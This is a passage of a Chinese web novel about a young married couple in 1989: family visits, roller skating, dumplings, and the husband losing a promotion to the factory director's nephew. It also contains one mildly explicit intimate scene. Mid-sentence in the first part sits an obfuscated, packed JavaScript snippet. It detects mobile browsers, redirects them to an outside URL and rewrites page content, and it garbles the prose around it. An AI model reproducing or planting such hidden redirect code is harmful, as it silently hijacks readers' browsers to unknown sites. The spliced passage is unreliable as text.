舒英看着她跟坠了个大西瓜在腰上的肚子,赶紧上去搀住她,笑着说:“没带什么,就是一些水果,还有两罐奶粉。” 舒妈从厨房端着一个竹蓝出来,里面放着不知道是面包还是馒头,“这你爸厂里新做的巧克力面包,有点干巴,我就放锅里稍微蒸了下,这下吃起来软和些。” 舒英看了眼上面的巧克力,笑了笑,从包里掏出两双虎头鞋递给舒秀珍,“我给宝宝勾的。” 舒秀珍拿在手里看了两眼后放到旁边,“现在什么买不到啊,费这劲干什么。” “尝尝看怎么样,这巧克力可贵。”舒妈拿起一块面包掰开,一半递给舒秀珍,一半给舒英。 舒英垂下眼撕了一小块放进嘴里,巧克力甜甜的带着一点点苦香。 舒妈拿起虎头鞋笑起来:“英儿从小手就巧,未出嫁的时候就喜欢织些毛衣啊围巾什么的。” 舒秀珍摸着肚子,也跟着笑:“什么啊,我还记得有一回我让她给我织一件毛衣,领口小的差点没勒死我。” 电视上放着香港电影,对不上口型的普通话夸张地在房间里响着。 舒英笑了笑,那时她还不怎么会织毛衣,本来那一件她是给自己织的,后来舒秀珍喜欢,就让给她了。 话题又引到她俩小时候,舒妈道:“那时候家里四个孩子,我和你爸又要上班,哪有时间带你们,我就记得那时候一盒牛奶都给分成是三份,文佑那时候大了不喝了,你们三个小的什么都要平分,哪回没分均都要跟我闹,什么亏都吃不得。” 舒英听见这话微微笑,牛奶分成三份是没错,但她记错了,大哥是喝了的,喝不到的一直都是她。 虽然舒爸舒妈都在食品厂上班,但家里毕竟要养四个孩子,所以一直都只订一瓶奶,没有弟弟的时候,是兄妹三个分喝一瓶,一人一天两口的量。后来有了弟弟,一开始还是他们四个分,后来不知道什么时候开始就没了她的份,再后来大哥长大不喝了,那两口就又让给了她,但那时候她觉得凭什么你不想喝了才给我,倔着再没碰过那瓶奶。 很小的一件事,只是除了她估计这个家再也没有第二个人知道。 她们娘三个聊天,李固言也不好插进去,就在旁边剥花生剥瓜子,剥完后悄悄拉过舒英的手,将花生瓜子仁放上去。 舒秀珍注意到他这个动作,笑起来:“还是妹夫会疼人。”说完杵了下专注看电视的严磊,“你也不知道给我剥点。” 严磊看着她,一脸的迷茫问道:“剥什么?” 舒秀珍翻了个白眼,一巴掌按着他的脸转向电视:“没什么,看你的电视吧。” 舒英握着手里的花生瓜子,嘴角向上牵了牵,眼神也柔和下来。 舒妈笑呵呵地看着两个闺女女婿,问:“英儿,固言,你们待会儿在家吃饭,我今天早上特地去菜市场买了几斤羊肉,待会儿煲羊肉汤喝,秀珍跟英儿从小就喜欢喝羊肉汤。” 舒英脸色微变,李固言从后面揽上她的腰,手下微微用力,笑着道:“不了妈,今天就不在这吃了,我妈一早就打电话说让我带舒英过去吃晚饭,说我姐今天回来。我们待会儿坐坐就走。” 他这话说完,舒英扭头看了他一眼,李妈什么时候打的电话? 李固言一向是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14739144|157456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个孝顺女婿,舒妈也知道他忙,连连笑道:“那是得回去,你大姐也是成天忙得很,好不容易休息一回,你们一家子能聚一聚。”她看了眼舒秀珍的肚子继续说,“我上回陪秀珍去一院检查,正好就碰上你大姐了,真是忙得连轴转,停不下来一点。” 两人又坐了会儿后就离开了。 刚刚当着舒妈和姐姐姐夫的面,舒英不好意思问,出来没人后她看着李固言说:“妈什么时候打的电话?你怎么没跟我说?” “妈没打电话,我不想喝羊肉汤,随口找的理由。”李固言揽着她朝公交车站台走去,边走边道,“听说五一广场那边热闹的很,我今天好不容易休息半天,你陪我去那边转转吧。” 舒英被他搂在怀里带着走,她抬起头盯着他冷峻分明的侧脸,他眼睛看着前方路面,长睫时不时颤动,如柔软的鸦羽在她心间扫动。 舒英转过头无声笑了笑,他撒谎了,她知道他挺喜欢羊肉汤的,她也知道他知道她不喜欢。 冬天的空气冷寂,不算长的路上只有他们两人,舒英贴着李固言的身体行走,耳边好像听到了他心脏的跳动,“噗通”“噗通”,带动着她的心脏,频率逐渐一致。 在快到公交站台的路边有一个阿姨在卖糖炒栗子,香甜的味道在空中飘荡,李固言看了一眼问:“你想吃栗子吗?” 舒英轻轻点了点头。 “那你在这等一下,我过去买。”李固言放开她,小跑过去。 舒英看着他的背影,他的围巾随风飘动,灰色的,颜色有些沉闷。 栗子被放在纸袋里,一个个圆滚滚,微微开着口,轻轻一摁,栗子壳向两边炸开,栗子肉完整的出来,放进嘴里,口感面而甜,带着点被烘烤的香味。 两人坐上公交车,朝着五一广场过去。 那边新建了一个轮滑旱冰场,不少人下班放学后过去玩,舒英听小胡说起过,但她还没去过。 两人从公交车上下来,今天星期天,广场上人特别多,旱冰场上人也不少。 舒英看着前边的旱冰场问:“你会滑吗?” 李固言老实地摇头:“不会。” 轮滑旱冰很早之前就时兴了,很多赶时髦的年轻人都会,舒英以前滑过一回,摔了一次后就再也没尝试过了。 “我也不会。”舒英笑起来,手肘碰了碰他,“我想试试。” 李固言乖顺地去租了两双轮滑鞋,付了门票跟舒英一起进去。 轮滑鞋就是一个类似铁片下焊了四个轮子,再紧紧绑到自己鞋子上。 李固言给自己绑好后,又检查了一下舒英的,这要是没绑紧,滑起来一松一动最容易摔跤。 两个人都不会滑,牵着手在最外圈一点一点走,身边不时过去一个风一样的年轻人。 舒英看着他们笑起来:“我姐以前就喜欢滑这个,我记得有一次她不小心摔倒,把牙磕掉了半颗,后来补的牙。” 李固言挑眉有些惊讶。 “真的,而且就摔成这样了,后来人家照样滑。” 13. 第 13 章 李固言笑起来:“姐性子一向风风火火的。” 两人慢腾腾走了几圈,身上竟也出了一点薄汗,李固言看外面卖汽水的说:“你等一下,我去买两瓶汽水。” 舒英笑着点头,扶着旁边的栏杆,站在原地等着,盯着他的背影看了一会儿后,又将视线放在场里肆意奔跑的人身上,玩的熟练的人大多微微躬身前倾,双脚一蹬一滑,整个身体便如流星般蹿出去,如此快的速度下,还能矫健地躲过旁边的人。 就在这时,她旁边不知道什么时候站了个人:“你不会滑吗?” 冷不丁一道声音,还离得这么近,舒英惊了一跳,回神看向他,一个年轻人,面容干净,年龄应该不是很大,她笑道:“不太熟练。” “怪不得,我见你一直站在这也不动。”少年说着往前滑了两步又回来,道,“你跟在我后面吧,我教你。” 听到这话,舒英没忍住笑了,摆手拒绝道:“你滑吧,我就在这站一会儿。” “光站着有什么意思,钱都花了,干嘛不好好玩?”少年背着手似是有些疑惑地看着她。 正巧这时李固言买好了汽水,正跟鸭子似的一滑一滑地过来。 舒英看了看少年,朝气蓬勃的,两厢对比,画面实在有些滑稽,她没忍住笑了起来,唇角上扬,眉眼弯弯,眸中莹亮,倒映出轮滑场四周的彩灯。 少年一时看痴了眼,脸颊连带脖子瞬间红了起来。 李固言见舒英面前站了个陌生少年,他走过来将汽水递给她,面露疑惑。 少年见他过来,两人动作熟稔,意识到她不是一个人过来,没说话,扭身一蹬脚就滑远了。 李固言等人走了后问:“他是?” 舒英摇摇头笑道:“不认识,一个热心的小孩吧。” 李固言若有所思点点头,跟她喝了半瓶汽水后,又拉着手在边上慢慢滑。 两人边滑边聊天,突然身后传来一道熟悉的声音打断了他们。 “大叔,你这技术不行啊。” 两人同时扭头看过去,就见刚刚的那个少年盯着他们,背对着往前滑,一句话说完后,还未等他们反应,又转过身幽灵一般走远了。 徒留惊愕的两人。 舒英反应过来后爆笑出声,“他是在跟我们说话吗?” 李固言咬着后槽牙抿出一个笑:“我想是的。” “那他是叫你大叔吗?”舒英扶着他的胳膊,笑得要站不直。 李固言安静笑笑没说话。 就在这时,刚刚滑走的少年又从后面追了上来,“姐姐,我觉得你不如跟着我学。” 他俩就差一岁,一个大叔一个姐姐,舒英还在笑,李固言有些不善地看着她,“不准笑。” 他不说还好,他这句话一出,不知道哪里就点了她的笑穴,简直笑得停不下来。 就在舒英以为少年还会追上来第三圈时,场外突然一声惊吼,“李敬宗!回去补作业!” 两人循声看过去,就见刚刚还桀骜潇洒的少年这下跟蔫儿了的哈巴狗一样垂着头乖乖往外走,拿起外面一件让人眼熟的蓝白校服,是附近的一所高中的校服。 看到这一幕,两人对视一眼,舒英没忍住又笑出声,“真巧,他也姓李。” 李固言看着她的笑脸,无奈地摇摇头,虽然被嘲笑了,好歹她心情也好起来了。 “我们也出去吧。”李固言看着外面的小摊,道,“玩了这么长时间,也有点饿了。” “好。”舒英乖乖点头,牵着他的手往外走。 买的栗子还没吃完,在他大衣口袋里装着,从旱冰场出来后,李固言剥了几颗递给她,光滑油润的栗子静静躺在手心,有些凉了,味道也没有刚出炉时的诱人,但嚼一嚼香甜依旧。 舒英吃完后道:“你还记得我们第一次见面的那家餐厅吗?” “记得。”李固言点头。 “他们家一到秋天会有栗子蛋糕,我之前买过几次,挺好吃的。”舒英想着那个味道,有些怀念也有点遗憾,“不过可惜那家店现在不在了,要不然还能买了尝尝。” 李固言有些默然,那家店大概是在他们结婚那年的秋天就关门了,不知道是换了地方开,还是彻底不开了。 广场上来往的人多,摆摊的也多,卖各种吃食的都有,舒英的目光被一个个的小摊吸引,也就不去想栗子蛋糕。 两人吃完玩完后已经九点多了,这时候公交车已经停运了,两人打的回的家属院。 到家后,舒英换上厚实柔软的针织拖鞋,李固言去厨房将刚烧好的热水倒进盆里,两人各自洗漱上床。 没来得及提前灌热水瓶,被子里一片冰凉,舒英缩在李固言怀里,房间关了灯,拉了窗帘,漆黑一片。 舒英枕靠在李固言胸膛上,侧耳听着他平稳而强有力的心跳声,今天的一幕幕在眼前闪现,她抬起头,适应了黑暗的眼睛隐约中看到他紧致的下颌线和微微滑动的喉结。 舒英撑起身,在他唇角处轻轻印了一个吻,李固言有些不可置信地睁开眼,转过头直勾勾地看着她。 舒英笑了笑,寻着他的唇瓣又亲了一下,双唇轻触,她试探地用舌尖在他唇间滑过。 就在她准备结束这个轻吻时,李固言突然伸手按住她的后脑勺压向自己,舒英睁开眼,极近的距离下,她能清楚看到他眼睫的颤动。 鼻息交换间,李固言猛然翻身压向她,如猛兽抢食般在她唇间掠夺,舌尖带走她口中涎液。 一吻闭,两人都有些气喘,李固言偏头在她耳边轻吻,激起一阵麻痒,舒英忍不住缩了缩脖子。 “可以吗?” 他的气息灼热霸道,声音暧-昧缠-绵,舒英羞红了脸,轻轻点了点头。 只听耳边一声闷闷地笑,恍恍惚惚,似梦非梦。 李固言柔软的唇在她脖间流连,缓缓往下…… “热……”舒英眼神涣散,推了推身前的男人。 李固言掀开被子,抱着她来到窗前的桌子处,他伸手拉开窗帘,院子里悄无人影,一片静谧,皎洁月光洒下,照在 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李固言自知昨天没有节制做的狠了,小媳妇似的在她后面跟着,舒英吐出口中的牙膏泡沫,透过镜子看向后面的人,他一脸的乖巧,和昨晚的霸道简直不像是一个人。 李固言赶紧递上热毛巾,在她擦脸时道:“早饭已经做好了,我待会儿骑车送你去上班,保证不让你迟到。” “哼。”舒英翘起嘴,没好气的看了他一眼,走了两步,忍不住停下转身用手指着他,“你!” 李固言连忙笑着握住她纤细的食指,“下次不敢了。” 说完上前一步搂住她的腰,在她耳边轻笑道:“我保证,下次你说停我肯定停。”声音低沉清脆,带着吃饱喝足的餍足。 喜欢减肥的人都知道,他们最喜欢在大吃一顿后保证下一顿一定控制,但结果往往是下一顿更加放肆,舒英听到他的保证,白了他一眼,没当一回事。 李固言三两下吃完早饭,到院子里推着车等她,舒英看了眼时间也赶紧吃完,拿上包出去。 到底是掐着点到,舒英赶紧换了工作服进了药房,小胡已经在工位上等着了,看见她凑上来问:“姐,你今天怎么现在才来?” 舒英捏了捏眼角,随口道:“昨天去五一广场玩,玩太晚了,没睡好。” 小胡听到她去了五一广场,好奇说:“那你去那个旱冰场了吗?” 舒英点点头。 “那边怎么样?跟公园的老旱冰场有什么区别?” “也没什么区别,就是更大,布置得也更好看。”舒英手上没停,理着货架上的药,“哦,周边也更热闹些,小吃摊很多,你休息时也可以跟你的小姐妹们一块儿去玩玩,那边很多年轻人。” 说完想起昨天那个高中生,她不禁笑着摇了摇头。 她恍惚记得昨天夜里李固言一直缠着她问他看起来老吗,她答没有,他还不满意,一定要她不停地说他年轻好看,他才肯善罢甘休。 倒想不到平时那么深沉的一个人,竟然也会这么幼稚。 14. 第 14 章 “下雪了!” 听到这句话,舒英瞬间从床上睁开眼,朝窗外看过去,果然,窗外白茫茫一片,雪花自天上飘飘洒洒。 舒英披上棉袄走到窗前,不知道夜里什么时候下的,地上已经积了一层薄薄的雪了,因为无人走过,所以显得格外干净。 “汪汪!”外面传来一声狗吠声,是吴家姐弟俩养的一只小狗。 隔着墙,舒英看不到他们在干嘛,但从对话中倒也能猜出一二来。 “妈妈,我带小狗出去转转。”吴晓丽的声音脆生生的,有种屋檐上的冰棱掉在地上碎裂的干净。 吴嫂子的声音在房间里,隔着一道,显得闷闷的,“别走远,待会儿吃饭了,你还得去上学。” “我就跟小狗在附近转转,踩踩雪。”声音中带着看到雪的愉悦,间杂着小狗高兴的“呜呜”声,舒英笑起来,那小狗一定是甩着尾巴迫不及待的。 隔壁院门刚推开,就又听到一道声音,急促的、慌乱的,“姐!你等会儿,我也要去。” 紧接着又是吴嫂子的声音:“你先把衣服穿好,刷牙洗脸去!” 这一早上好像听了一部情景剧,鲜活生动,舒英弯着眼笑起来,过去将衣服穿好。 李固言进来,看她已经穿戴好说:“我刚想来叫你起床。” 舒英跟着他走出去,“躺床上听隔壁喊说下雪了,我就起来了。” “现在还在下,但比我起来那会儿小点儿了,估计再下一会儿就停了。” 舒英洗漱好后坐在桌前吃饭,喝了一口熬得黏稠的白粥,热乎乎地暖着心肺,再夹一筷子秋天腌的咸菜,下饭爽口。 吃完早饭后,将厨房收拾干净,两人戴上围巾帽子和手套就准备去上班。 舒英看着李固言脖子上灰色的围巾说:“你等一下。” 李固言站定,不明所以地见她进了里屋,从床边柜拿了一件东西出来。 “你戴这个吧,昨天刚洗了晒干。” 李固言低头看过去,她手上拿着的是一条天蓝色的围巾,他亲眼见她这几天织的,这颜色鲜亮,他还以为她是给她自己织的。 舒英看他愣愣的,又说了一遍道:“给你新织了一条围巾,旧的拿下来吧。” 李固言这才反应过来,将脖子上的灰色围巾拿下来后,微微俯下身。 舒英一顿,接着将天蓝色的围巾围在他脖间,刚织好的围巾蓬松柔软,松松地堆在他脖子上,鲜嫩的天蓝色映衬着他白皙的肤色。 他的肤色随了李妈,有些偏白,夏天的时候晒一晒是健康的小麦色,到了冬天就又恢复成这种玉白色。 李固言微微低头,垂眸看着舒英,两人离得极近,他鼻翼微微耸动,混合了她特有体香的洗发露的香气飘到他鼻间。 “好了。”围巾戴好后,舒英退后一步,他穿着一件黑色的长棉袄,简洁大方没有任何款式,脖子间围着天蓝色的围巾,好像整个人都从沉闷的冬天中苏醒过来。 李固言手指微蜷,闻着围巾上的肥皂香,控制不住的心间颤动,他唇角轻轻勾起,眼眸灵动,敏捷地倾身,在她唇上轻触。 眼前突然一黑,唇上温热柔软,舒英怔愣地眨了眨眼。 李固言看着她的表情,有些忍俊不禁,压抑着心中躁动,伸手调整了一下她的围巾帽子,牵起她的手,“走了去上班了。” 脚踏在松软的雪地上,发出动听的“咯吱咯吱”声,快到分岔路时,舒英道:“今天下雪,我们晚上包饺子吃吧?” “好,晚上我早点下班去菜市场买肉。” “嗯,家里还有白菜,包白菜猪肉馅的。” “好。” 到了路口,两人分开,一个朝着机械厂过去,一个朝着二院去。 雪不知道什么时候停了,路上是清扫积雪的环卫工人,拿着大大的扫帚将路中间的雪朝着两边扫。 一道冷风刮过,舒英将脖子往围巾里缩了缩,唇瓣碰到毛线,痒痒的触感让她不自禁就想到了早上那一幕。 这是第一次,第一次在床上之外的地方亲吻,虽然只是轻轻的触碰,但那一瞬间她看着门外的雪,好像看到了红梅凌雪绽开,闻到了清冽的花香。 她抿了抿唇,低着头朝前走。 突然之间,她有些讨厌那本书。 雪就下了早上那一会儿,接下来一天都没下。 晚上下班后,舒英回到家,李固言已经买好肉回来了,正在厨房里洗白菜准备剁肉馅。 一进到室内,满身风寒散去,舒英笑了笑,将通身的装备摘下,穿着毛衣进到厨房洗手拌馅和面。 做饺子免不了想到上回吃饺子的情形,那一碗味道不算多好的饺子,和一锅浑浊的肉馅面皮汤。 面皮擀好,肉馅也调好后,两人将东西移到外间,厨房太小,两个人挤着包太拥挤。 李固言自知自己不会包,谦逊地坐在舒英身边学习。 舒英手巧,经她手出来的饺子一个个都白白胖胖饱满圆润,她将手伸到他面前,动作放慢,一遍一遍的示范。 李固言在这时显然像是一个愚钝的学生,屡屡出错。 “馅太多了,面皮要包不住了。”舒英看着他手里要炸开的饺子,好笑地提醒。 李固言闻言连忙用筷子又挑了一半肉馅出去,这下矫枉过正,饺子一下瘪下去,瘦瘦巴巴,很不好看。 舒英不忍细看,回头憋笑,李固言听到笑声,不急也不恼,专心地将手上这个饺子捏紧,只要下锅不散开,他就成功了一半。 饺子包完后,舒英起身去烧水,拣了自己包的先下锅,待会儿好给吴家送去。 饺子熟了后,一个个轻飘飘的浮在水面上,舒英盛出来给吴家送过去,李固言将剩下的下锅。 等锅里的都煮开,舒英也差不多跟隔壁聊完回来了。 舒英取了小碗,倒了一半醋一半生抽,用来蘸饺子吃。 刚出锅的饺子烫,两人吃得小心缓慢。 李固言抬头看她一眼,碗中氤氲出的热气模糊了她的神情,他笑了笑,不由得想起昨天领导找他谈话,他们科室的副主任今年就退了,接替人准备在办公室里 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舒英没注意到他的不自在,笑起来说:“那等结果出来,我们要去庆祝一番,马六街新开了家烤肉店,小胡说那店味道不错,我们到时候去吃烤肉吧。” 李固言自然没有异议,他点点头,揉了揉发烫的耳垂。 …… 离元旦还有几天的时候,李固言就被叫进了领导办公室。 “陈主任。”李固言敲门进去,顺手将门带上。 陈主任背对着门站着,听到声音,转过身看向他,笑呵呵地坐下,随口问道:“小李啊,我记得你是84年毕业就来了咱们厂是吗?” 李固言点头,“是,那年七月来的。” 陈主任笑着连连点头,见他还站着,连忙指了指桌前的椅子说:“坐,坐。” 李固言微微颔首,上前坐下。 陈主任在他面前倒了杯水,李固言受宠若惊地端起杯子,陈主任仍笑着,拉家常似的问:“小李今年多大了?” “过了年就25了。”李固言回道。 “哦哦。”陈主任没看他,眼神悠长,像在想着什么,后又感慨说,“还年轻啊!” 李固言不动声色地看了眼腕上的表,车间还有事要做,而陈主任叫他过来又一直在闲聊…… 陈主任没注意到他的动作,略沉吟一声终于道:“小李,我之前找你说过的,咱们车间的刘副主任马上就要退休了,厂里想从咱们办公室提拔一个上来。” 李固言点点头,应了一声。 陈主任继续道:“你今年参加工作也有五年了,可以说有丰富的工作经历,学历也高,是很合适的副主任人选,不过……” 转折前的所有话都不重要,重要的是“不过”之后。 李固言脸上的微笑一直没有放下来过,他听明白了陈主任转达的厂里的意思,意思是这次提拔没有他,厂里怕他心里不平,所以让陈主任来做他的思想工作。 李固言垂眸看着白瓷杯中上下沉浮的绿色茶叶,心里想的却是舒英知道这个结果后会失望吗? 15. 第 15 章 李固言到家的时候,舒英正在做晚饭,厨房里乒乒乓乓乓,不时传出来熟悉的烟火味。 李固言在院子里站了站,摸上脖间的天蓝色围巾,轻垂着头,缓缓推开门进去。 舒英听到声音从厨房里探头出来,“你回来了,正好,我饭也快做好了,我今天叠了油馍。” 油馍是将面擀成大圆饼,把白菜和韭菜等不拘是什么蔬菜铺上去,把食用油和调料扫上去,再将饼像叠被子一样叠起来,切块放锅上蒸。 做法不麻烦,但味道很好,油香油香的。 李固言抿了下唇将身上的厚外套脱掉挂在架子上,挽了挽袖子进了厨房帮忙。 家里还有剩的猪腿肉,舒英炒了一盘辣椒炒肉,晚饭也就算是做好了。 “你把粥盛出来吧,我今天煮的黑米粥,里面还放了几颗蜜枣,肯定很甜。” 李固言从墙上取下挂着的长柄勺,在煮沸的锅里搅了搅,蜜枣已经被煮的软烂,勺子轻轻一压就散开来,混在黑米之中。 黑米粥被盛在白瓷碗中,粘稠的黑色异常漂亮,碗上方飘着白色的雾气,带出一点点蜜枣的甜。 舒英坐下后看了眼对面的李固言,他垂着眼,不知道在想什么。 舒英咬了一口油馍,面皮和白菜油汪汪的越嚼越香,她抬眼又看了他一眼。 李固言仿若注意到她的视线,扬眉轻轻笑问道:“怎么了?” 舒英摇摇头,感觉他情绪不太对,虽然他什么都没说,脸上还带着笑,但眉宇间有一股郁气,而且还总是出神,但他现在不愿说,她也不想逼问,等他什么时候想说再说。 李固言其实也在犹豫什么时候告诉她,这种事又瞒不了,等过几天厂里任命通知下来,她自然会知道这次升职没有他。 两人心思各异地吃完一顿饭,李固言去刷碗,他们没有特意分配过家务工作,但长期相处下来,倒是很默契地平均分配了,不过这也是由于两人都是勤快之人。 舒英更喜欢做饭,那李固言就包揽了饭后的收拾工作,冬天水冷,舒英不喜欢去碰洗衣机里的凉衣服,李固言体热不怕,所以洗衣服的工作就交给了他。 外面又飘起了雪花,舒英倒了热水坐在床边泡脚,透过玻璃窗正好看见外面路灯下的雪花飘转。 舒英从床头拿了一本小说,边泡脚边看,偏热的水烫着脚上的筋脉,舒服得让人忍不住从心底深处涌上来一声喟叹。 这时李固言收拾好进来,一眼就看到了窗外的雪,他走到窗边,纤长的手指微微拨开窗帘,使视野更广。 舒英没注意他的动作,她目不转睛地盯着手里的书,手指轻挑,又翻过了一页。 李固言默了默,转过身看着她,嘴唇张张合合欲言又止。 舒英不经意间抬头正好看到他的表情,她歪了歪头,疑惑问:“你是不是有什么事?” 李固言走过来坐到她旁边,两人紧挨着,他声音低沉,如珠玉般响起缓缓道:“今天陈主任找我谈话,说这次升职不是我。” 舒英放下书,转过头面对面看着他,他长睫低垂,半遮着眼睛,昏黄的灯光微闪,流转出他眼底的失落。 她见他这副神情,心中也忍不住替他酸涩,她抬手轻轻抚上他脸颊,李固言顺势闭上眼在她手心蹭了蹭,舒英拇指轻轻摩挲了一下他薄薄的眼皮,长长的睫毛扫过指腹。 舒英:“还有机会。” 李固言伸手握住她贴在自己脸颊上的手背,在她手心下点了点头,“嗯”了一声,略有些哽咽。 舒英有些心疼,问:“那这次是谁升了?” “陆工。”李固言低低开口。 舒英抬眸看他,抿了抿唇没说什么。 陆工是陆厂长的亲侄子,只比他大了几岁,但工作能力远远比不上李固言,这是厂里都有目共睹的,舒英知道,若是是别人上去,李固言也不会这么难受。 舒英张了张口,最后道:“感觉你的手有点凉,用热水泡泡脚暖和暖和。” “嗯。” 两人洗漱好躺在床上,房间里灯没熄,电视没开,安安静静的。 李固言面朝舒英闭着眼,舒英在他怀里钻了钻,仰头看着他,伸手用食指在他眉间揉了揉,柔声说:“今天回来见你眉头不展的,就猜你心里肯定有什么事。还年轻呢,过了年也才二十五,以后有的是机会。” 这话说的不假,就凭书里的描述,他可是以后炙手可热的商界精英,每每出场都气场强大、压迫感十足,而那时他不过三十四岁。 李固言睁开眼看着她,嗓音有些沙哑,“我只是,只是觉得有些不公平……” 舒英抱住他,坐起来将他搂在怀里,他头发茂密柔顺,像一只受了委屈的猫,平素骄傲狂狷,现在却乖顺地不像话,“我知道,我明白。” 怎么会不明白,他虽从没跟她明说过,但她知道他一向是有野心的,一直期望能在事业上做出成就,所以这么些年在工作上一直很尽心,别人不愿加的班他愿意加,别人不愿意琢磨的难题他成日里钻研。 别人只看到了他年纪轻轻风轻云淡意气风发,但她知道在这背后他究竟付出了多少努力,可就算如此努力,还是抵不上人家一个关系。 机械厂是国营老厂了,招牌响地位高,但同样的,里面的人员也很固定,尤其是领导班子,都是一个萝卜一个坑,老人退了,新人才能上去,可这时,有本事的却比不上有关系的。 这怎能不失望? 舒英纤细的手指在他发间游移,好像想明白了为什么他会选择放弃机械厂的铁饭碗,去下海经商,也许是因为在厂里几年的付出得不到回报,攒足了失望后便离开了这里独自打拼。 李固言手臂箍环住舒英的窄腰,脑袋枕在她小腹上,鼻息之间是她身上的味道,安静的、温柔的、抚慰的。 李固言想,她是唯一一个自己可以将脆弱袒露的人,在外人面前,他年轻有为,在父母眼里,他聪慧强大,只有在她面前,他可以放心的哽咽。 元旦如约而至,两人都有两天的假期,准备第一天去看望李爸李妈,正好在省城上大学的李固萱元旦回来。 两人先去百货公司买了两瓶水果罐头,两瓶麦乳精,又去糕点坊买了盒点心,这才拎着这些东西坐公交车过去。 到李家的时候,已经十点多了,李固言拎着东西,舒英抬手敲门。 门刚响,就听里面的人小跑着过来开门,门一拉开就看见李妈堆满笑的脸,眼睛里都是开心。 “外面冷,快进来暖和暖和。 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这时李固萱涂好了过来,听到李妈的话,悄悄看了一眼舒英,脸上瞬间笑起来,过去挽住李妈的手臂,作怪似的撅起嘴凑到她面前,“妈,好看吗?” 李妈注意力被吸引过去,又笑起来,“好看,怎么不好看。” 舒英有些尴尬地看着两人,手里还拿着那支口红。 李固萱笑着拉过她,接过她手里的那支口红,拆开说:“嫂子眼光最好,给你挑的口红肯定也特别好看!” 李妈看着暗红的膏体,不自觉地抿了抿唇,眼神里也隐有期待。 李固萱见状直接将口红涂到她唇上,并用指腹化开,舒英很有眼色的把旁边的镜子拿过来,放在李妈面前。 李固萱在旁边笑道:“是不是很好看?” 李妈不好意思地又抿了下唇,眼风横了她一下,“开起你妈玩笑来了。” “本来就是很好看嘛,嫂子你说是不是很好看?” 舒英笑着点头:“妈长得好看,涂口红更好看。”这话说得不假,李妈颜值不低,浓眉大眼翘鼻小嘴的,皮肤还白,年轻时就是她厂里的一枝花,哪怕现在年纪上来,也能看出来长得很好。 舒英看了眼她脸上的皱纹和鬓边的白发,心中也有些感慨,对于这个婆婆年轻的事她也了解一些。 当年李爸是教师,也是铁饭碗,长得也好,高鼻深目,个子也突出,两人在一块儿也过了几年自在日子。 后来十年动荡,李爸因为教师的身份很不受待见,成了臭老九,天天被学生讨伐,一个生机勃勃的年轻男人从此开始萎靡不振,夫妻俩的日子也就变得辛苦,那些年李妈操劳不少。 舒英觉得,那个时候李固言已经记事了,他现在这个性格估计也是受到了那时的影响,小时候的经历让他学会了伪装,一眼瞧过去沉稳默言,做事严谨矜持,但其实隐忍的外表下是野心勃勃、不甘人后的内里,这种复杂组成了如今的他,充满了成熟克制的魅力。 舒英看了眼阳台边和李爸下象棋的李固言,他似有所感地回望过来,冲她颔首一笑,冬日里的阳光洒在他身上,捏着象棋的手骨骼分明,十分纤长。 16. 第 16 章 李妈照着镜子,最终收下了口红,拿着口红进了房间。 李固萱上来挽住舒英到沙发上坐下,闲聊问道:“嫂子,你们医院忙不忙?” “我们医院不怎么忙,工作还是比较轻松的。”舒英笑了笑,也问,“你呢?平时上学怎么样?” 时间一晃,也就到吃饭的点了,一家子坐在餐桌上。 李妈夹了一块肉放到李固言碗里,打量着他的脸色,语气有些心疼道:“我怎么觉得你这段时间又瘦了呢?是不是天天太累了,还是没吃好啊?” 听到她这话,舒英也看了眼李固言,可能是天天见的原因,她没看出来他哪瘦了。 “嫂子你看!”李固萱撅起嘴,“你看我妈多偏心,我回来的时候也没见她心疼我瘦没瘦。” 桌上的人都笑起来,李妈给了她一个眼刀子,“就你小嘴叭叭。” 舒英就势接话道:“妈哪会不心疼你,你去省城上学,妈天天都念叨你呢。” 李妈:“还是你嫂子明白,你个小白眼狼,天天吃飞醋。” “哼!那怎么了?”李固萱放下碗筷,搂着李妈的手臂靠在她身上,“我是我妈妈的小心肝,我还不能吃点醋啦?” “能能能!”李妈笑起来,伸手点了点她额头,“这么大的人了,还这么没大没小。” 房间里一时欢声笑语,舒英眼里盈着笑,她是真挺喜欢李固萱的,三两句玩笑话就能逗得大家都笑哈哈的,刚刚李妈明里心疼李固言,其实暗里就是说她没照顾好他儿子,要不是李固萱突然打岔,她是真不知道怎么接话。 因为住的远,舒英跟婆婆也没怎么相处过,她又一直不怎么满意她,在关系上也不怎么亲近,但婆媳关系自古以来就是一个难题,而且相较于有些会故意刁难媳妇的婆婆,她这个婆婆已经算得上不错。 其实舒英是很佩服她的,在那动荡的年代中,李爸萎靡不振靠不起来,她几乎是一个人撑起了这个家,外人的欺负让她有些护短,也让她将家人和别人之间的界限分的更加清楚,只是舒英并没有被她接纳而已。 不过这也没什么关系,毕竟不住在一起,很多矛盾都被消减,见了面,她一些不痛不痒的挤兑,她也就当没听见,要是被挤兑烦了就呛回去,都不是什么大事,平时就当成一个不好相处的亲戚就行。 吃完饭后,李固萱推着李妈的背,将她推到沙发上坐下,“爸妈,我和哥嫂都在呢,我们收拾就行了,您啊,就好好的坐在这看电视,享享儿女的清福。” 李妈笑得合不拢嘴,对着李爸道:“孩子们真是长大了,知道心疼咱了。” 李固萱安排好二老后,又回到厨房跟哥嫂俩一起打扫,她道:“哥,嫂子,我听说今天晚上五一广场有倒计时,到时候回访烟花,据说还有歌舞表演呢,你们要不要去看看?” 明天毕竟是九十年代的第一天,百姓们都很重视,五一广场前几天就开始布置了,就等着今天晚上的热闹。 舒英也很感兴趣,而且李固言这几天心情都有些不佳,也是该出去好好放松放松,点头道:“那等吃完晚饭我们过去,还可以买点呲花放。” “好啊好啊!”李固萱眼睛亮起来,快速地小点着头,“哥,这剩下的你收拾吧,我要跟嫂子聊天去。” 李固言笑着点头,颇有成熟男人的韵味,“你们去玩吧。” 舒英笑起来,看了他一眼,跟着李固萱出去。 